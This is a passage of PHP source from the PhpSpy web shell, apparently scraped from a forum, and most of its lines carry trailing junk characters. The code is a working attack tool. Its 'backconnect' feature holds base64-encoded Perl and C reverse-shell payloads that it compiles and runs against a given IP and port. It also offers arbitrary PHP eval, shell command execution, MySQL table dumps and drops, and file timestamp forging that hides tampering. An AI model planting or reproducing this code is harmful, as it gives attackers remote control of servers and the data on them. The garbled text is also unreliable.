  1021.                         } else {' p( C; G+ ^& b/ ^* Q
  1022.                                 $query = q("SHOW TABLE STATUS");7 l7 N; F0 F7 x$ t9 P
  1023.                                 $table_num = $table_rows = $data_size = 0;% n& e, m* b2 |9 \2 K
  1024.                                 $tabledb = array();
    - U) @, h  F0 @- Y3 }
  1025.                                 while($table = mysql_fetch_array($query)) {
    ( @6 p9 E! c/ m' R' G6 l" X
  1026.                                         $data_size = $data_size + $table['Data_length'];/ r' r3 h8 f$ K$ M
  1027.                                         $table_rows = $table_rows + $table['Rows'];
    0 [& ]9 g7 {0 q6 y7 O4 Y
  1028.                                         $table['Data_length'] = sizecount($table['Data_length']);
    ; J- v2 m- Q' E+ l! A/ T# ?9 {
  1029.                                         $table_num++;1 ~; _6 r1 }; |- U8 _" I  R1 L. r
  1030.                                         $tabledb[] = $table;% L/ l4 \6 x2 I4 A5 |8 X6 w( M
  1031.                                 }  L% T( C9 t: [
  1032.                                 $data_size = sizecount($data_size);1 y+ \+ y" j8 L4 D* P6 c
  1033.                                 unset($table);
    : C( l# \4 `; g% L
  1034.                                 p('<table border="0" cellpadding="0" cellspacing="0">');% d7 u% N2 z1 P1 b9 ^9 w; e8 ~
  1035.                                 p('<form action="'.$self.'" method="POST">');
    ' ~) @6 k. G, c$ S, j/ G6 G
  1036.                                 makehide('action','sqladmin');
    ) D, i" Q$ w) k2 I# c: Y
  1037.                                 p($dbform);
    # H9 o" d& C0 H/ u
  1038.                                 p('<tr class="head">');
    5 {: \) \* c. {  t3 ?) O: b
  1039.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');2 Z- B7 T! _+ O4 `, D. Y& c
  1040.                                 p('<td>Name</td>');8 ?" E+ C( Y7 t
  1041.                                 p('<td>Rows</td>');
    : q( q7 @' w4 Y7 U6 `6 K1 P, D* {
  1042.                                 p('<td>Data_length</td>');  d' ~: q/ J: b* e' ?
  1043.                                 p('<td>Create_time</td>');0 f8 o, Z! z7 M1 Y( v5 j7 ]5 S- W
  1044.                                 p('<td>Update_time</td>');( V# Q: g$ B. u, g( R
  1045.                                 if ($highver) {
    + N$ B) Y8 C1 y
  1046.                                         p('<td>Engine</td>');
    , x. z! g8 a# q
  1047.                                         p('<td>Collation</td>');
    8 h& G8 l8 d' x1 R. |& U' @
  1048.                                 }6 u# ?) _8 m, G2 l
  1049.                                 p('</tr>');
    3 A6 u$ ^) R8 y5 Z2 m
  1050.                                 foreach ($tabledb as $key => $table) {
    . r$ u2 s* @* F
  1051.                                         $thisbg = bg();/ r$ a. |: c" Z! V0 I+ u. `
  1052.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');1 m* S! K. [  y+ T9 D
  1053.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
    : O) n8 N3 [; D6 f& c
  1054.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
    9 |: N; I% K3 ^" H4 z
  1055.                                         p('<td>'.$table['Rows'].'</td>');
    4 B0 H! p4 i5 S& N
  1056.                                         p('<td>'.$table['Data_length'].'</td>');
    4 {- Z9 v$ T8 \/ [
  1057.                                         p('<td>'.$table['Create_time'].'</td>');
      ^5 Z, J. M' m6 v
  1058.                                         p('<td>'.$table['Update_time'].'</td>');
    9 X4 i/ D9 w1 q( w) U2 c
  1059.                                         if ($highver) {( Z/ j! P# w+ Q& b
  1060.                                                 p('<td>'.$table['Engine'].'</td>');
    : \" p* E$ e; ?  ?. }1 n3 Q
  1061.                                                 p('<td>'.$table['Collation'].'</td>');3 p& E5 L' [& v  ^, Q
  1062.                                         }. s& X1 X/ E9 [1 `" v& P
  1063.                                         p('</tr>');5 h; X7 n5 K0 e: \0 e
  1064.                                 }
    : F7 B2 f, _, }; M
  1065.                                 p('<tr class='.bg().'>');
    , X: G1 ^) I8 N) a+ ^
  1066.                                 p('<td> </td>');) |. E4 R- ?6 l% m( N3 o0 P! Y
  1067.                                 p('<td>Total tables: '.$table_num.'</td>');
    6 S" E4 @7 M. V) c& k, s3 C. ^5 k
  1068.                                 p('<td>'.$table_rows.'</td>');" F% T% b! D2 |" W! z
  1069.                                 p('<td>'.$data_size.'</td>');
    7 j) P1 Y! i1 l: k7 s
  1070.                                 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');. K* K4 ]' l% H8 g3 _* }: F1 e
  1071.                                 p('</tr>');
    9 m  J; T9 c$ v
  1072.                                 p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
    ' m: c5 L2 B( h8 f& V4 F2 X
  1073.                                 makehide('doing','backupmysql');* u3 a, U: L6 M$ @0 D: c9 l
  1074.                                 formfoot();1 h$ A4 T4 v, d# e6 z
  1075.                                 p("</table>");" k5 r: K9 x% w2 k& K
  1076.                                 fr($query);
    - |5 H; t/ e* s
  1077.                         }+ F9 H( k# @2 v: Z
  1078.                 }
    " D  N+ @5 c/ d+ Z) t: n7 K5 R
  1079.         }# Z1 A7 e5 U0 d6 t" o- f
  1080.         tbfoot();: L$ T. ?, N  q" R; b
  1081.         @mysql_close();( y# t- ~9 `6 G1 b9 m. Q
  1082. }//end sql backup7 r0 Z8 l' p" c
  1083. elseif ($action == 'backconnect') {: f$ {1 y9 M  W9 q9 W5 b
  1084.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
    1 S3 T  `# G4 j& R
  1085.         !$yourport && $yourport = '12345';
    . _  D. I1 {  O. v- `
  1086.         $usedb = array('perl'=>'perl','c'=>'c');1 p( a( f" ]7 w( `- A
  1087.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".% j! K+ G& ?- @1 k6 ^- ~
  1088.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".3 V3 s2 ?0 ^" U- ?: O
  1089.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".7 V, Y% C9 I* I9 ?
  1090.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
    6 R; ~  a. m* I! g
  1091.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".& R! ], T: U/ L2 V* b) C0 p/ T
  1092.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".  l/ Y, |' O, V' O; R4 n; n& ?
  1093.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    4 T$ e2 Y% Q3 v& e7 `& k$ J9 Y. U5 F
  1094.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
    . x8 P4 {8 T+ U) M
  1095.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
    ) q2 r6 l/ J. F$ M& T8 u9 W
  1096.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".2 ^5 W  m0 f: F. `( x9 }
  1097.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
    + W' W' U2 L* g
  1098.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
    . S$ T0 U( y6 ^) A( D) I+ g) S' |
  1099.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".4 A$ t; M1 o; F+ i- o
  1100.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".6 y) }3 N# b; c. Y# Y  l# C
  1101.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";- H+ r8 B0 U/ O* q4 z
  1102.         if ($start && $yourip && $yourport && $use){1 J& r7 w8 C5 |+ F: p9 s
  1103.                 if ($use == 'perl') {
    1 S: F4 s! D6 h( ~% i
  1104.                         cf('/tmp/angel_bc',$back_connect);# ]* _4 ?( D9 U
  1105.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");$ o. p' B" g2 c( `
  1106.                 } else {' Q& V( ?/ y. y' i
  1107.                         cf('/tmp/angel_bc.c',$back_connect_c);: l9 |8 y1 Q3 Y  v% S$ f- u
  1108.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');: ?/ s' w) }; j: P( S% X
  1109.                         @unlink('/tmp/angel_bc.c');
    , |) Q9 i/ ?1 t$ a: f& O
  1110.                         $res = execute("/tmp/angel_bc $yourip $yourport &");
    1 |8 v! m) l( \1 S* _9 b: }
  1111.                 }! S" p/ D4 m  ?' q- n
  1112.                 m("Now script try connect to $yourip port $yourport ...");
    " w" c2 I# @2 I
  1113.         }, M* D: z2 f9 L* _8 e& p- P
  1114.         formhead(array('title'=>'Back Connect'));$ i7 c5 d0 C. i4 I9 E
  1115.         makehide('action','backconnect');
    8 ?+ |  T0 ^( X2 }+ l7 }0 o
  1116.         p('<p>');
    2 z9 k( x" \. r; E
  1117.         p('Your IP:');
    6 {' Z* l# ^7 t3 J: X5 H
  1118.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));. c! v+ g# M3 i0 B
  1119.         p('Your Port:');5 ^5 I# y$ I/ L! k( ?$ I* L
  1120.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));& h; o3 z( _) Q0 m) W! t0 h3 E% x
  1121.         p('Use:');
    ' a4 n2 }  `; F, c& a/ Q
  1122.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));+ U, V4 P9 [# {
  1123.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
    , j; J; H+ |. F9 l/ s, E
  1124.         p('</p>');- i5 O5 h& _+ T  }0 s/ O) K/ ^/ k
  1125.         formfoot();- B) {$ ^% D4 X9 Y: E) X9 ]
  1126. }//end sql backup! u8 }0 t' D- o& [$ i0 b
  1127. elseif ($action == 'eval') {
    ! k  \6 `( R4 c; V7 E" A/ `. w
  1128.         $phpcode = trim($phpcode);
    + d- L9 s$ Y/ f0 x
  1129.         if($phpcode){" b' B% Q- \2 |3 A0 ^
  1130.                 if (!preg_match('#<\?#si', $phpcode)) {  R% g4 O7 d6 M3 `
  1131.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";8 H4 S4 _) o9 L& j' o) h  P
  1132.                 }2 M1 F( I4 f( q( I) H
  1133.                 eval("?".">$phpcode<?");
    1 L3 L8 j1 b8 C8 w5 q+ Z  w# ]+ @
  1134.         }* B/ M! B* M5 p0 H% j; Z4 ]6 \
  1135.         formhead(array('title'=>'Eval PHP Code'));
    / N* w  b" _: y4 q3 v
  1136.         makehide('action','eval');
    % v! M8 O% v0 i; w1 ^& L
  1137.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
    : q; W. A! n0 V/ k
  1138.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
    " @$ N$ g+ g# Z6 j  R
  1139.         formfooter();
    , r; A0 Y7 F" x7 a5 `" V2 c
  1140. }//end eval
    9 _, ]. P6 m8 v4 O7 V; q4 z  g

  1141. * V! a$ y# m$ \( W
  1142. elseif ($action == 'editfile') {7 n0 b( W5 z3 b+ W4 |- y/ s3 }* B, J
  1143.         if(file_exists($opfile)) {
    % h+ D1 Q7 e6 u0 W# v* G7 H0 t
  1144.                 $fp=@fopen($opfile,'r');( R1 S7 B' L) E6 U, h. N8 f+ T# G
  1145.                 $contents=@fread($fp, filesize($opfile));
      G  u0 Y, {& l5 D2 O0 C
  1146.                 @fclose($fp);( y& i8 [, K  u& s7 t2 R
  1147.                 $contents=htmlspecialchars($contents);
    , K; E0 s8 ~3 {* i6 _( D* F
  1148.         }# |; x  `3 [5 j
  1149.         formhead(array('title'=>'Create / Edit File'));2 o; U. I# k3 n6 H( `: I4 {1 X3 i
  1150.         makehide('action','file');
    7 n! Z" o# Z2 V2 {
  1151.         makehide('dir',$nowpath);/ B& F' F4 X! d- H7 u1 G5 |
  1152.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
    , F& b' Q4 y& \- S- d6 M+ b( z
  1153.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
    7 q# }1 H6 O; \, o: g5 n* y
  1154.         formfooter();$ ^4 ^9 ?; ]# V: n1 z8 W
  1155. }//end editfile! g" f3 d8 d; _( [8 A

  1156. 6 ~  A& R% I) s# Z; S
  1157. elseif ($action == 'newtime') {  L  ?/ u7 ?& s+ b8 S. z, q
  1158.         $opfilemtime = @filemtime($opfile);
    6 G  W# C+ v2 e( V
  1159.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");
    ' v) s* u. p% G1 `6 O, r
  1160.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
    1 P6 K8 l& \/ b  V9 o
  1161.         formhead(array('title'=>'Clone file was last modified time'));
    4 }6 G! r, p. t% m
  1162.         makehide('action','file');! h$ s! x! c3 ~8 z7 m
  1163.         makehide('dir',$nowpath);3 z0 t6 S" Z) ]$ J$ `# t! O
  1164.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
    7 s  C+ F6 Z" v7 `
  1165.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
    : A+ v8 |1 e% q/ X, j' Q) A7 E6 x9 ^# j
  1166.         formfooter();; S5 a1 n4 j0 \
  1167.         formhead(array('title'=>'Set last modified'));
    # D' `; f' q# P. w# V4 j
  1168.         makehide('action','file');* _& U% N! ~$ \, o
  1169.         makehide('dir',$nowpath);
    $ Z# |1 l. R5 @2 a! e" L
  1170.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
    ! x% q' c2 L# m5 e3 i
  1171.         p('<p>Instead »');- o6 u$ ~8 U" X& h
  1172.         p('year:');6 [8 o6 {+ k0 l; h' h
  1173.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));9 c/ ~& ]$ E* ^2 Y  u
  1174.         p('month:');& y4 h% |. r8 i( j
  1175.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
    0 c6 h# C! O: t, {, a5 t( ?! j
  1176.         p('day:');
    3 U6 p) d- u/ ^  S1 g+ K( s
  1177.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));1 r+ O- o2 i. m+ R( {
  1178.         p('hour:');
    , T9 r* C2 q& U% y
  1179.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));' g6 J  d: F1 P  j
  1180.         p('minute:');
      t$ g0 z8 L: ~; ~2 Q. Z* ]
  1181.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));6 N2 o) I2 x1 S3 {1 D' h4 W
  1182.         p('second:');8 T: C( Y; @4 k8 w& |4 ]- h
  1183.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));* u" e$ |0 j) ^1 _: g5 G" c6 A" n/ d
  1184.         p('</p>');
    8 L6 P& m! o, f) E
  1185.         formfooter();. z6 l* ~' ^+ L* X8 G) c
  1186. }//end newtime
    / z- {3 z, \2 ?' n
  1187. 9 x% u% V- b9 d# r
  1188. elseif ($action == 'shell') {
    % U$ s: @* E! B) S) Q- I
  1189.         if (IS_WIN && IS_COM) {9 e7 E2 y% Q1 D: u' A. Q
  1190.                 if($program && $parameter) {; p& m0 X4 j- k% }. n. B- I1 V
  1191.                         $shell= new COM('Shell.Application');1 C5 o- W4 g$ G5 h( R( M8 O8 h# L, Y
  1192.                         $a = $shell->ShellExecute($program,$parameter);
    ! b- I, e. x9 Z, ~/ A
  1193.                         m('Program run has '.(!$a ? 'success' : 'fail'));
    3 M* V8 B: M. @7 Q' z1 H" U0 V
  1194.                 }8 u  |. A4 E( m9 `/ v
  1195.                 !$program && $program = 'c:\windows\system32\cmd.exe';' U3 V* ~% u7 r. d2 }2 r  x' E, w
  1196.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
    . k; _: g' q6 g# h% }0 v
  1197.                 formhead(array('title'=>'Execute Program'));
    % r3 z0 `$ K" u  A. }9 W
  1198.                 makehide('action','shell');
    . i& I, R* S8 W
  1199.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));2 I. s$ G- Q- u9 b& k
  1200.                 p('<p>');
      ]7 h% |0 O( _% T) F
  1201.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
    1 w# O: s  N* D5 B
  1202.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));# U) f; y3 `* P) z: Z/ k& s
  1203.                 p('</p>');
    % J* ?/ z* h: I! X6 a* r" h5 G
  1204.                 formfoot();
    ' e" r! h( H$ v" x  R% |. {& u
  1205.         }
    7 J% p8 m, o3 g- B/ x, {* O
  1206.         formhead(array('title'=>'Execute Command'));
    5 c3 y* h0 o1 c% Y$ w/ U1 _
  1207.         makehide('action','shell');
    9 f" z8 @+ a$ |' z  b
  1208.         if (IS_WIN && IS_COM) {' x  I" C( J9 q  o5 [+ l
  1209.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');  @; s+ j* k4 n% }
  1210.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));) s0 N- p5 q: f" A1 _7 E
  1211.         }
    & E8 r4 }! w- N0 s2 [0 @
  1212.         p('<p>');% M5 b3 Z0 m: k8 n1 C
  1213.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));2 e/ f# K9 y. t2 X6 ?& }
  1214.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));, m  K2 Z% b2 v& x
  1215.         p('</p>');" G7 E7 x, ?7 ?" s, s6 L& n
  1216.         formfoot();
    2 q5 X; M. b1 a) H4 D: A

  1217. 6 @' p, Y! v6 v7 H% E
  1218.         if ($command) {# d; P6 F) i. Y
  1219.                 p('<hr width="100%" noshade /><pre>');
    % `; t6 {: m4 |' f7 @" \
  1220.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {( t3 u5 [5 ^' ^4 L3 P
  1221.                         $wsh = new COM('WScript.shell');% V3 l8 `& h6 g5 E6 n8 l0 f3 G' K
  1222.                         $exec = $wsh->exec('cmd.exe /c '.$command);
    " f1 [4 r& K' T" {" Q5 m9 T1 ]
  1223.                         $stdout = $exec->StdOut();
    - R* k+ q0 |9 l  ]
  1224.                         $stroutput = $stdout->ReadAll();
    " g$ u8 o/ Q0 ~) e  F
  1225.                         echo $stroutput;+ U& ~8 U/ Y8 q( @8 N
  1226.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
    & o7 O+ q9 E9 f
  1227.                         $descriptorspec = array(
    & j0 ^4 H" x5 |( V$ b
  1228.                            0 => array('pipe', 'r'),
    * w6 _# m0 |/ ?% g+ C* M: y
  1229.                            1 => array('pipe', 'w'),
    1 R* m! N% Z* [  C$ W& _5 N$ m7 q
  1230.                            2 => array('pipe', 'w')  q; A" F& k0 K8 d/ e# G( R9 S
  1231.                         );4 M  A2 d1 K# i" s
  1232.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);. y- U& o( Y- U: _% e
  1233.                         if (is_resource($process)) {8 `" Z" j8 z5 L% \9 p( A
  1234.                                 fwrite($pipes[0], $command."\r\n");7 B( \8 d" z1 S6 z  b
  1235.                                 fwrite($pipes[0], "exit\r\n");+ S* \4 L! K5 ]+ o$ {3 {
  1236.                                 fclose($pipes[0]);2 h1 j% p6 k: m' z2 [% V) I/ x
  1237.                                 while (!feof($pipes[1])) {: P" `$ h; {- ~" _# e( I- z# d) B
  1238.                                         echo fgets($pipes[1], 1024);/ T9 N" P/ F$ \6 T2 W" u7 ?* v
  1239.                                 }
    $ \7 X5 y4 m' T' h) ^
  1240.                                 fclose($pipes[1]);9 K0 C; y! p: k; ?. h- {6 h
  1241.                                 while (!feof($pipes[2])) {
    ' S/ S3 ^1 c# A2 }7 V
  1242.                                         echo fgets($pipes[2], 1024);
    - a; ~; s" N7 x+ _& t, a
  1243.                                 }
    . ]: ^$ B2 o5 |. Y/ N/ p: L. p
  1244.                                 fclose($pipes[2]);
    5 Z9 i9 s9 S8 l. ?
  1245.                                 proc_close($process);- I" |% d6 |- e6 {
  1246.                         }
    ( s6 o3 |/ d1 p, U
  1247.                 } else {
    & c' O' T7 m  I# E
  1248.                         echo(execute($command));
    2 l7 R  m* P* B$ }
  1249.                 }
    $ |; n& {3 o$ `! V  W) y2 p1 w) U: L& o
  1250.                 p('</pre>');
    ! W! {2 e' h3 l3 r7 H* s
  1251.         }
    ; C; n. ~& ]) I6 D" L
  1252. }//end shell
    * X9 J( B: k  B) @: K
  1253. " z# Z* Z6 x- A
  1254. elseif ($action == 'phpenv') {. F& }  v2 y* x; }4 Z8 D
  1255.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
    9 T, a  }5 R+ y, i4 p
  1256.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
    3 u$ A/ U) N( z) s
  1257.         !$dis_func && $dis_func = 'No';          K" u9 s) s* Y: u2 H  Y# }
  1258.         $info = array() T, G4 i: ?& ]- U5 _. ~
  1259.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),' v6 }' W8 P4 L' Z7 A" U3 A
  1260.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),- F5 @* j) q* q) a/ D' }
  1261.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),( t& b) x0 ~% Z$ g0 S" z7 j# w
  1262.                 4 => array('Server OS',PHP_OS),
    " z5 ^$ N# ~) y
  1263.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),3 V! f* M$ o2 V- {: p5 V' }
  1264.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),/ S$ V3 [$ l6 {! b
  1265.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
    % X6 T7 F& D5 _8 M
  1266.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),8 c( V( z; ?( ^+ x0 \9 `+ e. @
  1267.                 9 => array('The file path',__FILE__),
    , u) Z/ n4 A* g  o: v

  1268. # ^6 j8 q! ^+ E: x
  1269.                 10 => array('PHP Version',PHP_VERSION),# K% c+ o0 P9 d- f- O4 B) h
  1270.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
      u  T! c" E# l2 f3 r; g
  1271.                 12 => array('Safe Mode',getcfg('safe_mode')),
    : e# e7 Y6 h" I( B) O
  1272.                 13 => array('Administrator',$adminmail),
    ( X4 T5 M' E8 n3 [' y
  1273.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
    0 w% T; z1 h0 u7 F, C& ]% J2 \
  1274.                 15 => array('enable_dl',getcfg('enable_dl')),
    8 `. S/ N! }1 ~% \- t
  1275.                 16 => array('display_errors',getcfg('display_errors')),
    , Q8 V) H3 u9 c$ c" [' @
  1276.                 17 => array('register_globals',getcfg('register_globals')),; b9 L. J  q1 Z+ a, \" t
  1277.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
    , ]: g; N, e7 l# x% Q
  1278.                 19 => array('memory_limit',getcfg('memory_limit')),
    8 O" c" |  G6 m1 R7 {3 O
  1279.                 20 => array('post_max_size',getcfg('post_max_size')),3 [* Z! G8 F: ^, g# q- d6 o
  1280.                 21 => array('upload_max_filesize',$upsize),
    " J) B5 N& H, `# P" m
  1281.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),5 M% q. |/ a" \# J; P, B! x5 O
  1282.                 23 => array('disable_functions',$dis_func),
    7 J4 P( p1 R, U1 D7 X( g
  1283.         );
    0 w3 K, p+ ~3 F
  1284. ) S' i% `$ S" M
  1285.         if($phpvarname) {' W7 q2 s' ]* j6 t
  1286.                 m($phpvarname .' : '.getcfg($phpvarname));7 z/ U1 v% m% x/ Y! Z/ \- s
  1287.         }
    " N; Y" o$ a/ J2 z7 L

  1288. * N8 z# D9 r5 j& ?5 Y. X8 i& t( `" V
  1289.         formhead(array('title'=>'Server environment'));8 ^# a9 o0 L7 ^8 t$ Y5 ]
  1290.         makehide('action','phpenv');
    5 F) z' F/ \% N/ O
  1291.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
    : v2 g% I& v2 N' ?
  1292.         formfooter();
    , y7 ]: v2 `/ t9 V( J
  1293. 9 w0 Q; m6 y0 w0 W
  1294.         $hp = array(0=> 'Server', 1=> 'PHP');; a4 W5 F6 S; E6 m( z8 O
  1295.         for($a=0;$a<2;$a++) {
    1 f1 ^, f  h1 n
  1296.                 p('<h2>'.$hp[$a].' »</h2>');
    1 @$ u1 P: F3 e1 |
  1297.                 p('<ul class="info">');
    + Q  A! B8 x; |- ?* Z; s$ O
  1298.                 if ($a==0) {+ j/ e0 O, H" }  U5 x7 ^
  1299.                         for($i=1;$i<=9;$i++) {' j0 n( J8 J1 t/ x# [; e
  1300.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');9 ?- m+ e. O! c. `; h
  1301.                         }; p0 ~, _4 k; x: o" I
  1302.                 } elseif ($a == 1) {
    , R. ~* H, V% d0 E2 C
  1303.                         for($i=10;$i<=23;$i++) {
    + R0 y* H3 |- y  S' i
  1304.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');1 |, T5 p9 P( t( ~
  1305.                         }
    3 g: |1 n8 U6 I6 o# \. ~9 ^* N
  1306.                 }
    , |! v, [' V  [+ D% z5 s& R3 f
  1307.                 p('</ul>');' G7 B5 |2 K5 t, ~
  1308.         }/ J  M5 m( s" z2 \1 \* B
  1309. }//end phpenv+ C, G& A+ t6 R9 b
  1310. + J/ O7 {+ K/ B# i; s7 A  K1 M% [
  1311. else {. {: Q+ U( [$ b0 B
  1312.         m('Undefined Action');1 Q1 B* s" f7 f) m6 d2 S. D
  1313. }
    7 m4 B& q1 j6 `1 h
  1314. * W- F/ S# ]7 Y" J( V0 w% ?. N$ E
  1315. ?>
    * R3 U" U1 Y0 A; }9 v. B
  1316. </td></tr></table>
    $ {( O4 Y1 y% g( W* q
  1317. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
    , _5 P5 F- z$ J/ B3 Q7 }
  1318.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
    ; g" |3 X" ?& k. _; P2 h
  1319.         Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
    ( {% H% ]. Z9 c' X# n: _
  1320. </div>+ D: x$ X- Y0 R- L; g
  1321. </body>& S7 @, {& j* s# ?
  1322. </html># d1 D' B2 r9 y% R" _3 Q; y
  1323. 1 c( Q- A2 ~- e6 @0 D
